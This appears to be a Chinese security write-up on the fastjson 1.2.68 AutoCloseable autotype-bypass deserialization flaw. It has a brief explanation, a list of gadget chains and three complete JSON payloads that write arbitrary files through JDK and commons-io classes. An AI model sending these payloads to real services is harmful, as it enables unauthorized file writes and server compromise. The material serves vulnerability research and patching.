0x01 环境搭建以及漏洞简述:
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.68</version> </dependency> </dependencies>
|
fastjson 的这个新漏洞在 1.2.68 及之前版本的 autotype 关闭的情况下仍然可以绕过限制反序列化,相比 1.2.47 版本的漏洞来讲这个版本的漏洞还是有一些限制的(1.2.47版本主要是利用了fastjson会class进行缓存的机制,在第一次扫描中记录到类后会将该类写入mappings中,第二次扫描mappings中就有我们的恶意类,因此绕过了autotype的校验)。在1.2.47版本中可以绕过autotype的校验,但这个版本则需要该类实现AutoCloseable
接口。
fastjson 1.2.68 在进行反序列化的时候,会进入 ObjectDeserializer
的 deserialze
方法,而 安全人员发现 当 @type
为 java.lang.AutoCloseable
的时候会找到实现类 JavaBeanDeserializer
调用 deserialze
,而 JavaBeanDeserializer
的 deserialze
方法还会继续解析得到第二个 @type
对应的值进行反序列化,并且 expectClass
则不再是 null
值,而是 java.lang.AutoCloseable
。
fastjson版本<=1.2.68有这几条利用链:
- Mysql connector RCE
- Apache commons io read and write files
- Jetty SSRF
- Apache xbean-reflect RCE
0x02 漏洞原理:
0x03 调用链:
MarshalOutputStream读文件:
只适用于jdk11?不依赖于第三方库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| { "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "/tmp/asdasd", "append": true }, "infl": { "input": { "array": "eJxLLE5JTCkGAAh5AnE=", "limit": 14 } }, "bufLen": "100" }, "protocolVersion": 1 }
|
1 2 3 4 5 6
| { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "C:/Users/wdd/Desktop/ls/ls/1.txt", "tempPath": "C:/Users/wdd/Desktop/ls/1.txt" }
|
commons-io 2.x写文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| { "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""写入文件的内容" }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"org.apache.commons.io.output.WriterOutputStream", "writer": { "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file": "/tmp/pwned", "encoding": "UTF-8", "append": false }, "charset": "UTF-8", "bufferSize": 1024, "writeImmediately": true }, "closeBranch":true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }
|
参考:
fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路 - 浅蓝 ‘s blog (b1ue.cn)
Java 反序列化漏洞原理(六)fastjson 1.2.68 绕过原理 | 没有理想的人不伤心 (typesafe.cn)
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)
fastjson1.2.68分析 - xyylll - 博客园 (cnblogs.com)
Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入 - zpchcbd - 博客园 (cnblogs.com)